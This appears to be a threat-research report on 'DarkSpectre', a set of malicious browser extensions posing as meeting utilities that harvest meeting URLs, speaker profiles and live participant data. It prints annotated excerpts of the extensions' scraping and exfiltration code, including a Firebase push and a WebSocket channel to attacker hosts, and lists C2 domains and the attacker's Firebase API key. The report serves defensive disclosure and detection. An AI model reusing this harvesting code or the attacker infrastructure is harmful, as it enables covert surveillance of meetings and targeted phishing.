The Browser Extensions
You Trusted Are Watching Everything

15 malicious extensions across Chrome, Edge, and Firefox have been silently harvesting corporate meeting intelligence from millions of users. Here's what we found.

Victims Affected

2.2M+

Malicious Extensions

Browsers Targeted

What is DarkSpectre?

DarkSpectre is a sophisticated malware campaign operating through browser extensions that masquerade as legitimate meeting utilities. The threat actor, operating under the brand "Zoomcorder," has built an extensive infrastructure spanning multiple cloud services to harvest corporate meeting intelligence at scale.

These extensions present themselves as helpful tools—mute buttons, auto-admit features, video downloaders—but behind the scenes, they're silently exfiltrating meeting URLs, participant information, speaker profiles, and calendar data to attacker-controlled infrastructure.

🎯 Campaign Objectives

The primary goal appears to be corporate espionage: harvesting meeting intelligence that could be used for social engineering, targeted phishing, or competitive intelligence gathering. The inclusion of ZoomGov targeting suggests government entities may also be targets.

Initial Discovery

Suspicious permission patterns identified in "Mute All on Meet" extension with 2.2M+ users

Infrastructure Mapping

Firebase-based C2 infrastructure uncovered, linking multiple extensions to single threat actor

Cross-Browser Expansion

Campaign extends to Microsoft Edge and Mozilla Firefox under different author aliases

Full Campaign Exposed

15 total extensions identified with shared code, assets, and infrastructure

The Trojan Horse Extensions

Each extension provides legitimate functionality as cover while secretly harvesting data. The threat actor has created variants across multiple browsers to maximize reach.

⚠️ Immediate Action Required

If any of these extensions are installed in your browser, remove them immediately. Then check your meeting platforms for any unauthorized access and rotate credentials.

Chrome Extensions (11 Malicious)

🔇

Mute All on Meet

adjoknoacleghaejlggocbakidkoifle

2.2M Users

🔗

Zoom.us Always Show Join From Web

aedgpiecagcpmehhelbibfbgpfiafdkm

Malicious

📹

X (Twitter) Video Downloader

akmdionenlnfcipmdhbhcnkighafmdha

Trojan

✓

Meet auto admit

ceofheakaalaecnecdkdanhejojkpeai

Malicious

📥

GoToWebinar & GoToMeeting Download

cphibdhgbdoekmkkcbbaoogedpfibeme

Malicious

⏱️

Timer for Google Meet

dpdgjbnanmmlikideilnpfjjdbmneanf

Socket.IO C2

📅

Zoomcoder Extension

ebhomdageggjbmomenipfbhcjamfkmbl

Malicious

📷

Photo Downloader for Facebook, Instagram

ifklcpoenaammhnoddgedlapnodfcjpn

Trojan

🔴

Screen Recorder

kabbfhmcaaodobkfbnnehopcghicgffo

CRITICAL

✓

Google Meet Auto Admit

pabkjoplheapcclldpknfpcepheldbga

Malicious

⬇️

ZED: Zoom Easy Downloader

pdadlkbckhinonakkfkdaadceojbekep

FLAGSHIP

Edge Extension

🔊

Edge Audio Capture

mhjdjckeljinofckdibjiojbdpapoecj

Removed

Firefox Extensions

🦊

Twiter X Video Downloader

{7536027f-96fb-4762-9e02-fdfaedd3bfb5}

invaliddejavu

🦊

x-video-downloader

[email protected]

invaliddejavu

This Is What You Clicked

Over 2.2 million people saw a popup like this. Most clicked "Add extension" in under 3 seconds. None of them understood what they were really agreeing to.

🔇

Add "Meeting Mute Tool"? Offered by: [Threat Actor]

⚠️ Read and change all your data on all websites

🔓 Permission Decoder

"Read and change all your data on all websites"

What this really means: The extension can see EVERYTHING you do online. Every page you visit, every form you fill, every meeting you join. It can also modify what you see — injecting fake content or redirecting you silently.

"Capture visible tab" (Screen Recorder)

What this really means: The extension can record your entire screen, your meetings, your documents — everything visible. One extension in this campaign had full video and audio capture capabilities.

Inside the Malicious Code

This isn't speculation. We reverse-engineered these extensions and extracted the exact code that steals your data. Each dangerous line is highlighted and annotated below.

📁 foreground.js

Meeting Harvester

Source: Mute All on Meet adjoknoacleghaejlggocbakidkoifle

// This code runs every time you visit a meeting registration page
if (url.includes("zoom") && url.includes("reg")) {
var meetTopic = document.querySelector(".meeting-topic").innerText;  ← STEALING: Meeting title
var meetDesc = document.querySelector(".desc").innerText;  ← STEALING: Full description
var meetTime = document.querySelector(".time").innerText;  ← STEALING: Date/time
var meetUrl = window.location.href;  ← STEALING: URL with password!
chrome.runtime.sendMessage({
command: "post",
data: {topic, desc, time, url}
});  ← EXFILTRATING to attacker
}

💡 What This Means: Every time you visit a Zoom registration page, this code extracts your meeting topic, date/time, and the meeting URL (which often contains the password). It packages everything and sends it to the attacker's server. You never see any indication this is happening.

📁 background.js

C2 Connection

Source: ZED: Zoom Easy Downloader pdadlkbckhinonakkfkdaadceojbekep

// The attacker's database configuration - this is where YOUR data goes
var firebaseConfig = {
apiKey: "AIzaSyBkMIvidIGAsmwbkX16...",  ← Same key in 5 extensions!
databaseURL: "https://zoocorder.firebaseio.com",  ← Attacker's C2 server
projectId: "zoocorder",  ← Links all extensions together
};
firebase.initializeApp(firebaseConfig);
// When stolen data arrives from content script...
chrome.runtime.onMessage.addListener((msg) => {
if (msg.command == "post") {
database.ref("webinars/speakers").push(msg.speakers);  ← Uploading profiles
database.ref("webinars/shows").push(msg.data);  ← Uploading meetings
}
});

💡 What This Means: This is the attacker's "home base" — a Firebase database they control. Every meeting URL, speaker bio, and calendar event flows here in real-time. We found this exact configuration in multiple extensions, proving they're all connected.

📁 background.js

Real-Time Surveillance

Source: Timer for Google Meet dpdgjbnanmmlikideilnpfjjdbmneanf

// LIVE monitoring via WebSocket - attacker watches meetings in real-time
socket = io("https://meettimerserver-dot-zoocorder.uc.r.appspot.com");  ← Live connection
// Streaming who's speaking RIGHT NOW
socket.emit("sync_time", {
speakerName: participant.name,      ← "John Smith"
speakerPhoto: participant.image,    ← Profile picture
talkTime: seconds                   ← How long they talked
});
// Attacker can send commands BACK to the extension
socket.on("update_time", function(data) {  ← TWO-WAY CHANNEL!
// Execute attacker's commands...
});

💡 What This Means: This isn't just data collection — it's live surveillance. Using WebSocket technology, the attacker watches your meeting unfold in real-time: who's speaking, for how long, with their profile picture. And that socket.on()? The attacker can send commands back to the extension.

📁 content_script.js

Multi-Platform Targeting

Source: GoToWebinar & GoToMeeting Download cphibdhgbdoekmkkcbbaoogedpfibeme

// Not just Zoom — targeting GoToWebinar and GoToMeeting platforms
const targetPlatforms = [
"*://app.gotomeeting.com/*",      ← GoToMeeting
"*://www.gotomeeting.com/*",
"*://attendee.gotowebinar.com/*",  ← GoToWebinar attendee pages
"*://register.gotowebinar.com/*", ← Registration pages!
"*://global.gotowebinar.com/*"
];
// Extract webinar details from GoTo platforms
function harvestGoToData() {
var webinarTitle = document.querySelector(".webinar-title")?.innerText;
var hostInfo = document.querySelector(".host-info")?.innerText;  ← Host identity
var regLink = window.location.href;  ← Full registration URL
chrome.runtime.sendMessage({
type: "gotowebinar",
data: { title: webinarTitle, host: hostInfo, url: regLink }
});
}

💡 What This Means: This isn't just about Zoom. The campaign explicitly targets GoToMeeting and GoToWebinar — enterprise platforms commonly used for investor calls, sales demos, and corporate training. The attacker is casting a wide net across all major meeting platforms to maximize intelligence collection.

📁 foreground.js

Professional Intelligence

Source: Zoomcoder Extension ebhomdageggjbmomenipfbhcjamfkmbl

// Harvesting detailed speaker profiles from webinar pages
var speakers = [];
document.querySelectorAll(".speaker-card").forEach((card) => {
speakers.push({
name: card.querySelector(".speaker-name")?.innerText,       ← Full name
title: card.querySelector(".speaker-title")?.innerText,    ← "VP of Sales"
company: card.querySelector(".speaker-company")?.innerText, ← "Acme Corp"
bio: card.querySelector(".speaker-bio")?.innerText,        ← Full biography
photo: card.querySelector("img")?.src,                      ← Profile photo URL
linkedin: card.querySelector("a[href*='linkedin']")?.href  ← LinkedIn profile!
});
});
// Build organizational intelligence database
chrome.runtime.sendMessage({
command: "post",
speakers: speakers  ← Uploading to "webinars/speakers" collection
});

💡 What This Means: This goes beyond meeting URLs — the attacker is building a professional intelligence database. By scraping speaker profiles from webinars, they collect names, titles, companies, bios, and even LinkedIn URLs. This enables highly targeted spear-phishing: "Hi [Name], I saw your presentation at [Webinar] about [Topic]..."

The Complete Data Harvest

This isn't random data. This is business intelligence that can be weaponized for corporate espionage, targeted phishing, or competitive intelligence gathering.

🔄 The Exfiltration Pipeline

🌐 You Visit a Meeting Page

You click a Zoom link, open Google Calendar, or visit a webinar registration. The extension activates silently in the background.

🔍 Page Content Scraped

The content script extracts meeting topics, times, speakers, and URLs from the DOM. All sensitive details are captured.

{ topic: "Q4 Board Strategy", time: "Jan 15, 2:00 PM", url: "zoom.us/j/123?pwd=secret" }

📤 Internal Message Passing

Stolen data is packaged and sent to the background script via Chrome's messaging API.

chrome.runtime.sendMessage({ command: "post", show: {...}, speakers: [...] })

☁️ Firebase Upload

The background script pushes your data to the attacker's Firebase database in real-time. No local storage, direct exfiltration.

firebase.database().ref("webinars/shows").push(data)

💀 Attacker Has Your Data

Within milliseconds, your meeting intelligence is searchable. They know when your board meets, who attends, and have the join link with password.

📅

Meeting Intelligence

Meeting topics & descriptions
Scheduled times
Meeting URLs with passwords
Attendee counts

👤

Speaker Profiles

Full names & job titles
Company affiliations
Professional bios
Profile photos

🎙️

Live Meeting Data

Current speaker identity
Talk time per participant
Real-time participation
Meeting duration

🗓️

Calendar Data

All scheduled events
Recurring meeting patterns
Meeting links
Invitee lists

💼

Professional Profiles

LinkedIn connections
Employment history
Company information
Contact details

🏛️

High-Value Targets

ZoomGov (US Government)
Enterprise meetings
Executive sessions
Board discussions

⚠️ Why This Is Dangerous

With this information, an attacker can: Join your investor call uninvited — they have the URL and password. Send your CFO a perfect phishing email, referencing a real meeting with real colleagues. Know exactly when executives will be unavailable to verify wire transfers.

The Infrastructure Behind the Attack

The threat actor has built a sophisticated, multi-tier infrastructure using legitimate cloud services to avoid detection. Firebase Realtime Database serves as the primary data store, while Google Cloud Functions handle real-time processing.

Multi-tier infrastructure leveraging Firebase, Cloud Functions, and App Engine

🔧 Technical Detail: Firebase Configuration

const firebaseConfig = {
apiKey: "AIzaSyBkMIvidIGAsmwbkX16_m45aNdTWdfe7t8",
authDomain: "zoocorder.firebaseapp.com",
databaseURL: "https://zoocorder.firebaseio.com",
projectId: "zoocorder",
appId: "1:282767790318:web:c955404a751656a59a63ff"
};

Data Exfiltration Flow

When a victim visits a Zoom registration page, the extension scrapes comprehensive meeting data and sends it to the attacker's Firebase database:

// Data harvested from Zoom registration pages
var show = {
topic: meetingTitle,
description: fullDescription,
time: scheduledTime,
url: registrationURL,
speakers: [{
name: "Speaker Name",
title: "VP Sales, Example Corp",
description: "Full biography...",
imagesrc: "https://..."
}]
};
// Exfiltration via Firebase
chrome.runtime.sendMessage({
command: "post",
data: show
});

Full IOC List for Detection

Use these indicators to detect and block DarkSpectre activity in your environment.

Chrome Extension IDs

Mute All on Meet adjoknoacleghaejlggocbakidkoifle

Zoom.us Always Show Join aedgpiecagcpmehhelbibfbgpfiafdkm

X Video Downloader akmdionenlnfcipmdhbhcnkighafmdha

Meet auto admit ceofheakaalaecnecdkdanhejojkpeai

GoToWebinar Download cphibdhgbdoekmkkcbbaoogedpfibeme

Timer for Google Meet dpdgjbnanmmlikideilnpfjjdbmneanf

Zoomcoder Extension ebhomdageggjbmomenipfbhcjamfkmbl

Photo Downloader ifklcpoenaammhnoddgedlapnodfcjpn

Screen Recorder kabbfhmcaaodobkfbnnehopcghicgffo

Google Meet Auto Admit pabkjoplheapcclldpknfpcepheldbga

ZED: Zoom Easy Downloader pdadlkbckhinonakkfkdaadceojbekep

Edge Extension ID

Edge Audio Capture mhjdjckeljinofckdibjiojbdpapoecj

Firefox Extension IDs

Twiter X Video Downloader {7536027f-96fb-4762-9e02-fdfaedd3bfb5}

x-video-downloader [email protected]

Malicious Domains

Primary C2 zoomcorder[.]com

Secondary C2 meetingtv[.]us

Content Server webinartv[.]us

Firebase Database zoocorder[.]firebaseio[.]com

Firebase Auth zoocorder[.]firebaseapp[.]com

Cloud Functions us-central1-webinarstvus[.]cloudfunctions[.]net

WebSocket Server meettimerserver-dot-zoocorder[.]uc[.]r[.]appspot[.]com

Firebase Configuration

API Key AIzaSyBkMIvidIGAsmwbkX16_m45aNdTWdfe7t8

Project ID zoocorder

App ID 1:282767790318:web:c955404a751656a59a63ff

Sender ID 282767790318

GA Measurement G-C0DF9JP1QV

MITRE ATT&CK Mapping

T1176

Browser Extensions

T1119

Automated Collection

T1041

Exfiltration Over C2

T1113

Screen Capture

T1185

Browser Session Hijacking

T1567

Exfil via Web Service

DarkSpectre

The Browser Extensions You Trusted Are Watching Everything

What is DarkSpectre?

Initial Discovery

Infrastructure Mapping

Cross-Browser Expansion

Full Campaign Exposed

The Trojan Horse Extensions

Chrome Extensions (11 Malicious)

Edge Extension

Firefox Extensions

This Is What You Clicked

🔓 Permission Decoder

Inside the Malicious Code

The Complete Data Harvest

🔄 The Exfiltration Pipeline

🌐 You Visit a Meeting Page

🔍 Page Content Scraped

📤 Internal Message Passing

☁️ Firebase Upload

💀 Attacker Has Your Data

Meeting Intelligence

Speaker Profiles

Live Meeting Data

Calendar Data

Professional Profiles

High-Value Targets

The Infrastructure Behind the Attack

Data Exfiltration Flow

Full IOC List for Detection

MITRE ATT&CK Mapping

Related Posts

The Browser Extensions
You Trusted Are Watching Everything